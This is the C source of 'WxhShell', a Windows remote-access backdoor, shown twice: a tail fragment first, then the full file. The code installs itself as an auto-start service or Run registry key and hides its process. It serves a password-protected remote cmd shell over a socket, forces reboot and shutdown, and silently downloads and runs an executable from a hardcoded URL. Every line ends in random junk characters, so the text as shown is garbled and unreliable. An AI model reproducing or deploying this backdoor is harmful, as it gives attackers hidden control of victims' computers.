    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xk:x=4u&  
    if(Boot(SHUTDOWN)) a[t"J*0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^C,rN;mX'  
    else { FUI/ A >  
    closesocket(wsh); Q8TR@0d  
    ExitThread(0); 5P*jGOg.  
    } 319 4]  
    break; QP%AJ[3ea%  
    } .9DhD=8aIO  
  // 获取shell , -])[u  
  case 's': { J;fbE8x  
    CmdShell(wsh); i?>>%juK  
    closesocket(wsh); &*Z)[Bl  
    ExitThread(0);  uvDOTRf  
    break; *o=Z~U9z  
  } BDp(&=ktq  
  // 退出 axG%@5  
  case 'x': { NrcV%-+u%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lyowH{.N"3  
    CloseIt(wsh); $1X !Ecq_  
    break; m[ S1  
    } EhW@iYL  
  // 离开 tm;\m!^X{  
  case 'q': { TPJuS)TU9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uxW |&q  
    closesocket(wsh); ; {m;CKHI  
    WSACleanup(); ='#7yVVcs  
    exit(1); .Sm 8t$  
    break; b#(QZ  
        } 2Z(?pJyDM  
  } MNfc1I_#  
  } L#Ve [  
]<},[s  
  // 提示信息 IFSIQ q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _=w=!U&W  
} j97c@  
  } ZA4sEVHW  
p=Q o92 NH  
  return; Dhft[mvo  
} Ob'[W;p)[w  
o hPXwp?]  
// shell模块句柄 ]{-ib:f~  
int CmdShell(SOCKET sock) u_=>r_J[b  
{ J@N q  
STARTUPINFO si; mqQ//$Y   
ZeroMemory(&si,sizeof(si)); o`jVd,aj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0@!-+}i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9@(V!G  
PROCESS_INFORMATION ProcessInfo; \p izVt  
char cmdline[]="cmd"; $+ \JT/eG9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jpe\  
  return 0; :as2fO$?  
} uQkFFWS  
%tz foiJ%P  
// 自身启动模式 jivGkIj!8  
int StartFromService(void) 9H%L;C5<  
{ |A u+^#:;  
typedef struct $T'lWD*  
{ /vPcg  
  DWORD ExitStatus; {Pi]i?   
  DWORD PebBaseAddress; /9u12R*<  
  DWORD AffinityMask; ]+78 "(  
  DWORD BasePriority; "Kn%|\YL@4  
  ULONG UniqueProcessId; .ktyA+r8v  
  ULONG InheritedFromUniqueProcessId; lGN{1djT  
}   PROCESS_BASIC_INFORMATION; ?F%,d{^  
NHz hGg]  
PROCNTQSIP NtQueryInformationProcess; jTz~ V&^  
%wux#"8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a^GJR]] {  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]$WwPDZ  
$]]|#}J  
  HANDLE             hProcess; "f`{4p0v  
  PROCESS_BASIC_INFORMATION pbi; n#5%{e>  
QK/~lN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FAd4p9[Y  
  if(NULL == hInst ) return 0; I.}E#f/A'  
eN ]9=Y~-K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1A\N$9Dls  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zut"P3d=J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +dSO?Y]  
Xkb\fR6<K  
  if (!NtQueryInformationProcess) return 0; -Fs<{^E3j  
2~*.X^dR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S_56!  
  if(!hProcess) return 0; _0e;&2')  
w+3-j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (E?X@d iu  
L,wEUI  
  CloseHandle(hProcess); jG&gd<^  
n[`FoY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /q>1X!Z  
if(hProcess==NULL) return 0; UgZuEfEGve  
-eoXaP{[  
HMODULE hMod; c'~6 1HA<  
char procName[255]; 3rw<#t;v  
unsigned long cbNeeded; :HQQ8uQfb  
x.~AvJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5QUL-*t  
7gcJ.,Z.  
  CloseHandle(hProcess); T4x%dg  
=L&}&pT  
if(strstr(procName,"services")) return 1; // 以服务启动 <C,lHt  
 - }9a%  
  return 0; // 注册表启动 j]' 7"b5  
} :NPnwX8w  
DNl '}K1W  
// 主模块 #)N}F/Od^  
int StartWxhshell(LPSTR lpCmdLine) 5WvtvSO  
{ /V@9!  
  SOCKET wsl; R<n'v.~"A  
BOOL val=TRUE; xF8^#J6>  
  int port=0; m<uBRI*I  
  struct sockaddr_in door; "WE*ED  
fTg^~XmJ  
  if(wscfg.ws_autoins) Install(); y)e8pPDG  
Zf~Z&"C)  
port=atoi(lpCmdLine); ?m>!P@ M  
&;]KntxB  
if(port<=0) port=wscfg.ws_port; %qqX-SF0C  
nL@(|nJ[  
  WSADATA data; *kE<7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L|H:&|F  
hiQ #<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M6o"|\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T z?0E"yx  
  door.sin_family = AF_INET; u?B9zt%$-m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o1zKns?  
  door.sin_port = htons(port); $]t3pAI[H0  
.ZK^kcyA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vle`#c.  
closesocket(wsl); M\rZr3  
return 1; dFVx*{6  
} %ot4$ eY  
}s++^uX6  
  if(listen(wsl,2) == INVALID_SOCKET) { g/f^|:  
closesocket(wsl); 3JJEj1O  
return 1; {|D7H=f  
} [ qx[ 0  
  Wxhshell(wsl); =d M'n}@U  
  WSACleanup(); :'0.  
B9h'}460H  
return 0; ; xx u,  
!/RL.`!>  
} T1[B*RwC  
@D@_PA)e(  
// 以NT服务方式启动 I92orr1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )N'rYS' 9  
{ vg;9"A!(  
DWORD   status = 0; eRm 9LOp  
  DWORD   specificError = 0xfffffff; =Hf`yH\#  
'}BYMEd/m%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *1c1XN<7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O'[r,|Q{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ki=]#]rg  
  serviceStatus.dwWin32ExitCode     = 0;  ;U<}2M!g  
  serviceStatus.dwServiceSpecificExitCode = 0; p|9Eue3j2  
  serviceStatus.dwCheckPoint       = 0; ~;/}D0k$x  
  serviceStatus.dwWaitHint       = 0; 8ZL9>"%l  
i!u:]14>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O~DdMW  
  if (hServiceStatusHandle==0) return; >#[,OU}N  
bBg=X}9  
status = GetLastError(); ={[9kR i  
  if (status!=NO_ERROR) 94Q?)0W$  
{ ]gjB%R[.m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VbfTdRD-  
    serviceStatus.dwCheckPoint       = 0; wzf%~ats  
    serviceStatus.dwWaitHint       = 0; Zt/4|&w  
    serviceStatus.dwWin32ExitCode     = status; }=$>w@mJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; v4Mn@e_#c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4#Cm5xAt6  
    return; W!B\VB  
  } 6BH P#B2j  
kG>m(n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J7FzOwd1h  
  serviceStatus.dwCheckPoint       = 0; u`?v-   
  serviceStatus.dwWaitHint       = 0; G3${\'<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QA=mD^A  
} +[Bl@RHe^  
T%O2=h\} E  
// 处理NT服务事件,比如:启动、停止 Aq;WQyZ2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sg%Ptp  
{ AR3v,eOs  
switch(fdwControl) `"h[Xb#A`b  
{ we&D"V  
case SERVICE_CONTROL_STOP: cH6<'W{*  
  serviceStatus.dwWin32ExitCode = 0; mRT$@xa]J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^{g('BQx  
  serviceStatus.dwCheckPoint   = 0; "Ta"5XW  
  serviceStatus.dwWaitHint     = 0; *o6hDhg  
  { D]'/5]~z<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rcUJOI  
  } $A^OP{  
  return; ?.Lq`~T`  
case SERVICE_CONTROL_PAUSE: }s@vN8C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A; Av0@w  
  break; #u/5 nm  
case SERVICE_CONTROL_CONTINUE: s`I]>e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Btyp=wfN[  
  break; jg\FD51$  
case SERVICE_CONTROL_INTERROGATE: ZW%;"5uVm)  
  break; |"aop|  
}; Ef\&3TcQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L]wk Ba  
} )NmYgd~%  
`h='FJ/!  
// 标准应用程序主函数 ;.{J>Q/U,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m8<.TCIQ  
{ ^*'fDP*  
9o+e3TXp#  
// 获取操作系统版本 5bo')^xa  
OsIsNt=GetOsVer(); w,1&s}; g\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4,.[B7irR  
c"oJcp  
  // 从命令行安装 e)f!2'LL  
  if(strpbrk(lpCmdLine,"iI")) Install(); S<81r2LT  
M,dp;  
  // 下载执行文件 g=e~YM85  
if(wscfg.ws_downexe) { e'T|5I0K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (w1$m8`=  
  WinExec(wscfg.ws_filenam,SW_HIDE); s(pNg?R  
} d8J(~$tXQN  
@n^2UJ  
if(!OsIsNt) { q{uv?{I  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;( [^+_/  
HideProc(); a[ yyEgm2  
StartWxhshell(lpCmdLine); y`a]##1j$M  
} mGh8/Xt  
else mWTV)z57  
  if(StartFromService()) dmPAPCm%y  
  // 以服务方式启动 s|D[_N!|  
  StartServiceCtrlDispatcher(DispatchTable); &Ivf!Bgm{Z  
else -+fW/Uo  
  // 普通方式启动 Dd'J"|jF38  
  StartWxhshell(lpCmdLine); ^\g?uH6k U  
|*B9{/;4  
return 0; WSqo\]  
} }ws(:I^  
@y8) "m"  
JnPwqIF1  
F4$9r^21r  
=========================================== 85vyt/.,k  
{sF;R.P&r  
AHet,N  
-=GmI1:=$4  
u9j1>QU  
h3j`X'  
" GP0}I@>?  
$_O;yz  
#include <stdio.h> 0?*":o30  
#include <string.h> d@ef+-  
#include <windows.h> q"VC#9 7`  
#include <winsock2.h> jqQGn"!  
#include <winsvc.h> m[<z/D  
#include <urlmon.h> O|0V mm  
6+/BYN!&4  
#pragma comment (lib, "Ws2_32.lib") 4VP$, |a  
#pragma comment (lib, "urlmon.lib") .5!Q(  
`<(o;*&Gd  
#define MAX_USER   100 // 最大客户端连接数 #{5h6IC  
#define BUF_SOCK   200 // sock buffer o!zo%#0;#)  
#define KEY_BUFF   255 // 输入 buffer $GQ{Ai:VwF  
/ >O.U?  
#define REBOOT     0   // 重启 iQvqifDmh  
#define SHUTDOWN   1   // 关机 M3s:B& /  
,U.|+i{  
#define DEF_PORT   5000 // 监听端口 <~  ?LU^  
x.>&|Ej  
#define REG_LEN     16   // 注册表键长度 UV\&9>@L  
#define SVC_LEN     80   // NT服务名长度 HXgf=R/$  
z6Zd/mt~x  
// 从dll定义API MCTTm^8O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?OC&=}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^C~t)U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;aDYw [  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q|7;Zsd:  
 Sr+ &  
// wxhshell配置信息 %Mf3OtPiJW  
struct WSCFG { ~j[mME}  
  int ws_port;         // 监听端口 /! M%9gu  
  char ws_passstr[REG_LEN]; // 口令 uOJso2Mx  
  int ws_autoins;       // 安装标记, 1=yes 0=no l}W"> yQ0  
  char ws_regname[REG_LEN]; // 注册表键名 $fwj8S7$  
  char ws_svcname[REG_LEN]; // 服务名 }[: i!t.m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )<`/Aaie  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BHR(B]EI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e#^ vA$d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wUH:l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WD|pG;Gq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *~^M_wej  
wp<f{^ et  
}; y<m }dW6[\  
/J!~0~F  
// default Wxhshell configuration &XB1=b5  
struct WSCFG wscfg={DEF_PORT, {CQI*\O  
    "xuhuanlingzhe", Vo9Fl Yj  
    1, IYe,VL  
    "Wxhshell", scyv]5Hm!  
    "Wxhshell", ! _?#f|  
            "WxhShell Service", 6OZ n7:)Y  
    "Wrsky Windows CmdShell Service", S+u@ Q}  
    "Please Input Your Password: ", ?:Rw[T@ l  
  1, M-A{{q   
  "http://www.wrsky.com/wxhshell.exe", QURpg/<U  
  "Wxhshell.exe" Ur(<  ]  
    }; %8lWJwb7u  
|z`AIScT  
// 消息定义模块 }*VRj;ff  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |M|>/U 8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ><{Lh@{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Tz{-L%*#  
char *msg_ws_ext="\n\rExit."; `t2Y IwOK  
char *msg_ws_end="\n\rQuit."; "cGjHy\j`  
char *msg_ws_boot="\n\rReboot..."; m]&y&oz  
char *msg_ws_poff="\n\rShutdown..."; uXVs<im  
char *msg_ws_down="\n\rSave to "; jBJ|%K M  
MZ_dI"J ,  
char *msg_ws_err="\n\rErr!"; d[sY]_ dj  
char *msg_ws_ok="\n\rOK!"; k#x"'yZ  
O7yIFqI=/  
char ExeFile[MAX_PATH]; in2m/q?  
int nUser = 0; DYTC2  
HANDLE handles[MAX_USER]; e84O 6K6o  
int OsIsNt; y)T|1)  
B1o*phM g  
SERVICE_STATUS       serviceStatus; W"H(HA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &'c&B0j  
oA4<AJ2  
// 函数声明 1(qL),F;  
int Install(void); ,R=)^Gh{  
int Uninstall(void); 5)i+x-  
int DownloadFile(char *sURL, SOCKET wsh); qTV.DCP  
int Boot(int flag); QoS]QY'bZ  
void HideProc(void); ,j%feC3  
int GetOsVer(void); tw&biLM5T  
int Wxhshell(SOCKET wsl); :)kWQQ+,  
void TalkWithClient(void *cs); x*wr8$@J  
int CmdShell(SOCKET sock); .Kssc lSD1  
int StartFromService(void); 838@jip  
int StartWxhshell(LPSTR lpCmdLine); 3PEW0b*]Pf  
"BvDLe':  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]>,Lw=_[_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,Ofou8C6  
!$#8Z".{v{  
// 数据结构和表定义 P.kf|,8 L  
SERVICE_TABLE_ENTRY DispatchTable[] = `FAZAC\  
{ y>& s;  
{wscfg.ws_svcname, NTServiceMain}, ]Mj N)%hT  
{NULL, NULL} URMxCL^"  
}; >uJU25)|  
eMUs w5=  
// 自我安装 RIq\IQ_|  
int Install(void) g4GU28l  
{ N.-*ig.YR7  
  char svExeFile[MAX_PATH]; Zi.w+V  
  HKEY key; [~k!wipK  
  strcpy(svExeFile,ExeFile); C0;:")6~  
59k-,lyU,  
// 如果是win9x系统,修改注册表设为自启动 TJs~}&L  
if(!OsIsNt) { {#&jW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g]U! ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6bUcrw/# p  
  RegCloseKey(key); :CG;:( |  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 43N=O FU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R?}<Cj I  
  RegCloseKey(key); S{zl <>+  
  return 0; xDIl  
    } L4{+@T1A[  
  } F*=}}H/  
}  8s>OO&  
else { fi'\{!!3m^  
VX e7b  
// 如果是NT以上系统,安装为系统服务 qnnP*15`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P*kC>lvSv  
if (schSCManager!=0) eKL3Y_5p@  
{ )`}4rD^b  
  SC_HANDLE schService = CreateService ^']*UD;  
  ( td|O#R  
  schSCManager, XO}v8nWV  
  wscfg.ws_svcname, w s7LDY&(  
  wscfg.ws_svcdisp, lA,*]Mr~  
  SERVICE_ALL_ACCESS, YH{FTVOt{C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3'[ g2JR  
  SERVICE_AUTO_START, sF1j4 NC  
  SERVICE_ERROR_NORMAL, U9h@1:  
  svExeFile, >{#QS"J#  
  NULL, 89J7hnJC  
  NULL, 9~}.f1z  
  NULL, 6<9gVh<=w  
  NULL, xd^9R<  
  NULL og|~:>FmJo  
  ); pt~b=+bBm  
  if (schService!=0) gU@BEn}  
  { z=K hbh  
  CloseServiceHandle(schService); .<.#g +  
  CloseServiceHandle(schSCManager); 7DIFJJE'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mgg m~|9)  
  strcat(svExeFile,wscfg.ws_svcname); ^qV6 khg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]/odp/jm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a/U4pSug  
  RegCloseKey(key); B S+=*3J  
  return 0; nmUMg  
    } {S5j;  
  } $@<cZ4  
  CloseServiceHandle(schSCManager); >jpk R  
} U )J/so)  
} 2Z*^)ZQB  
01vKx)f  
return 1; ]McDN[h:  
} 3ULn ]jA  
7/6%92T/B  
// 自我卸载 1ika'  
int Uninstall(void) swG!O}29OX  
{ y/!jC]!+c  
  HKEY key; |Q*{yvfEo  
L'<.#(|  
if(!OsIsNt) { %lSjC%Z'd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d2Ox:| <)  
  RegDeleteValue(key,wscfg.ws_regname); 9AHxa  
  RegCloseKey(key); w*B4>FYg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;BYv&(#u1q  
  RegDeleteValue(key,wscfg.ws_regname); '*n2<y  
  RegCloseKey(key); 9Vtn62+  
  return 0; t(=Z@9)]4F  
  } }TwSSF|}3  
} 31~Rs?~f(  
} 4'`y5E  
else { Gw?$.@L'I6  
nsyeid*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vlh$NK+F  
if (schSCManager!=0) 0'~Iv\s  
{ `E-cf7%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C vWt  
  if (schService!=0) 4?.L+wL  
  { pEX|zee  
  if(DeleteService(schService)!=0) { yf2$HF  
  CloseServiceHandle(schService); A!^gF~5  
  CloseServiceHandle(schSCManager); @V qI+5TA  
  return 0; W,ik ;P\  
  } *#Hw6N0#   
  CloseServiceHandle(schService); ^4[|&E:  
  } 'uU{.bq  
  CloseServiceHandle(schSCManager); s[#ww =T\  
} d^Zr I\AJ  
} X!!3>`|  
Kzrt%DA  
return 1; 6>j0geFyE2  
} )_\q)t"=  
<K  GYwLk  
// 从指定url下载文件 hvOl9W>  
int DownloadFile(char *sURL, SOCKET wsh) !TeI Jm/l  
{ QV9 z81[  
  HRESULT hr; &M*f4PeXb  
char seps[]= "/"; "*Gp@  
char *token; p5JRG2zt  
char *file; QBL|n+  
char myURL[MAX_PATH]; ayh= @7*  
char myFILE[MAX_PATH]; d .t$VRO  
vbSycZ2M7  
strcpy(myURL,sURL); vmIt!x  
  token=strtok(myURL,seps); /L*JHNu"_  
  while(token!=NULL) 0t(js_  
  { )k6kK}  
    file=token; a/dq+  
  token=strtok(NULL,seps); :FX|9h  
  }  7 j8Ou3  
x f<wM]&  
GetCurrentDirectory(MAX_PATH,myFILE); #MAXH7[  
strcat(myFILE, "\\"); QI*<MF,1  
strcat(myFILE, file); yrQf PR  
  send(wsh,myFILE,strlen(myFILE),0); }b=Cv?Zg$m  
send(wsh,"...",3,0); pgEDh^[MW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oxXCf%!  
  if(hr==S_OK) 8=,-r`oNy  
return 0; E8"$vl&c]  
else OmLe+,7'  
return 1; lL"ANlX-P  
V2LvE.Kj  
} }0idFotck  
|ZtNCB5{^j  
// 系统电源模块 rceX|i>9n  
int Boot(int flag) MZ"|Jn  
{ s"B+),Jod  
  HANDLE hToken; )%vnl~i!  
  TOKEN_PRIVILEGES tkp; #dDM "s  
lGpci  
  if(OsIsNt) { _kT{W]   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RJOW#e :  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a9y+FCA  
    tkp.PrivilegeCount = 1; t$g@+1p4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3 @%XR8ss  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <d~si^*\ch  
if(flag==REBOOT) { yZkS   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {3!E8~  
  return 0; t[o_!fmxZ  
} a6!|#rt  
else { t4Pi <m:7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  D`3`5.b  
  return 0; FA!!S`{\  
} ()e|BFL.  
  } 9nS fFGu  
  else { /X%+z5  
if(flag==REBOOT) { OTzuOP 8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u7lO2 C7  
  return 0; k8z1AP  
} -{A*`.[v  
else { +aOQ'*g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z7p!YTA  
  return 0; 8\Bb7*  
} K/M2L&C  
} A\<W x/  
I &;9  
return 1; AK(x;4  
} `k`P;(:  
DB3qf>@?  
// win9x进程隐藏模块 nM|F MK^  
void HideProc(void) Vh N6 oI  
{ EO%"[k  
'9!J' [W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J?C:@Q  
  if ( hKernel != NULL ) u=t.1eS5  
  { S?#6{rx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &yG5w4<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^09-SUl^  
    FreeLibrary(hKernel); Q2[; H!"  
  } yt<h!k$ _P  
+`tk LvM  
return; Q)im2o@z  
} |enb5b78  
 zPN:)  
// 获取操作系统版本 Raf(m,o(  
int GetOsVer(void) BhhFij4  
{ xZA.<Yd^r  
  OSVERSIONINFO winfo; 1Eb2X}XC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b8E7/~<z3  
  GetVersionEx(&winfo); Bk[C=<X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0+e  
  return 1; e, fZ>EJ  
  else }$i/4?dYsQ  
  return 0; 9}5o> iR  
} VS>xvF  
et?FX K"y  
// 客户端句柄模块 wf`A&P5tF  
int Wxhshell(SOCKET wsl) d,toUI  
{ <Xw\:5 F<7  
  SOCKET wsh;  QJ!2Vw4K  
  struct sockaddr_in client; yK-DzAv  
  DWORD myID;  { &Vt]9  
<~P!yLr  
  while(nUser<MAX_USER) %OOkPda  
{ KD.|oo  
  int nSize=sizeof(client); qA"BoSw4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q-z `rW  
  if(wsh==INVALID_SOCKET) return 1; RL3*fRlb  
%SuELm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xpc{#/Nk  
if(handles[nUser]==0) yD#(Iw  
  closesocket(wsh); `x_}mdR  
else uVTacN%X  
  nUser++; #nw+U+qL  
  } 0TZB}c#qT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <@P. 'rE  
[+Fajo;0  
  return 0; a~ dgf:e`  
} !o1IpTN  
83 <CDjD  
// 关闭 socket HQ]mDo  
void CloseIt(SOCKET wsh) 5RAhm0Op~.  
{ ^`k;~4'd  
closesocket(wsh); 3?&v:H  
nUser--; GUZ.Pw  
ExitThread(0); m'QG{f  
} u /]P  
V~p01f"J  
// 客户端请求句柄 ln+.=U6Tm  
void TalkWithClient(void *cs) *V4%&&{  
{ "YaT1` Kr  
t<ZBp0  
  SOCKET wsh=(SOCKET)cs; ==Xy'n9'  
  char pwd[SVC_LEN]; Q-rG~O9-  
  char cmd[KEY_BUFF]; g9fYt&  
char chr[1]; h8X[*Wme  
int i,j; XwFTAaZ  
.]s? 01Z  
  while (nUser < MAX_USER) { >]8(3&zd  
s1h|/7gG  
if(wscfg.ws_passstr) { RMiDV^.u`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UI"UBZZ$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KJ:z\N8eo  
  //ZeroMemory(pwd,KEY_BUFF); ;|0P\3  
      i=0; >I/@GX/  
  while(i<SVC_LEN) { 4hc[ rN,]  
Np%Q-T\  
  // 设置超时 K_~kL0=4  
  fd_set FdRead; a"X h  
  struct timeval TimeOut; r-go921  
  FD_ZERO(&FdRead); 6<T:B[a-  
  FD_SET(wsh,&FdRead); L""ZI5J{F9  
  TimeOut.tv_sec=8; J]#rh5um  
  TimeOut.tv_usec=0; Z,O* p,Gzn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FzcXSKHV %  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0|.jIix;  
^b$_I31D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >KL=(3:":p  
  pwd=chr[0]; Hqs!L`oW)  
  if(chr[0]==0xd || chr[0]==0xa) { 9cHo~F|ur  
  pwd=0; Rk7F;2  
  break; .{\eco  
  } qdn_ ZE  
  i++; 9!(%Vf>  
    } }dpTR9j=  
!y B4;f$  
  // 如果是非法用户,关闭 socket Li]96+C$}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !+A%`m  
} v/9DD%An  
!Ve0:$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EQ ee5}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !^&VZh  
9 :Oz-b  
while(1) { oKsArZG  
?&-1(&  
  ZeroMemory(cmd,KEY_BUFF); #Tei0B7  
,h*N9}xYTi  
      // 自动支持客户端 telnet标准   rJkJ/9s  
  j=0; &R?`QB2/  
  while(j<KEY_BUFF) { l cHf\~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZnRT$ l O  
  cmd[j]=chr[0]; *Z^`H!&  
  if(chr[0]==0xa || chr[0]==0xd) { A&)2m  
  cmd[j]=0; cM3B5Lp  
  break; Q"C*j'n   
  } {0w2K82  
  j++; eA86~M?<o  
    } "gJ.mhHX  
NLY=o@<  
  // 下载文件 :CW^$Zvq  
  if(strstr(cmd,"http://")) { IycZ\^5*-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 38D5vT)n  
  if(DownloadFile(cmd,wsh)) fs 2MYat  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "WuUMt  
  else :MY=Q]l  
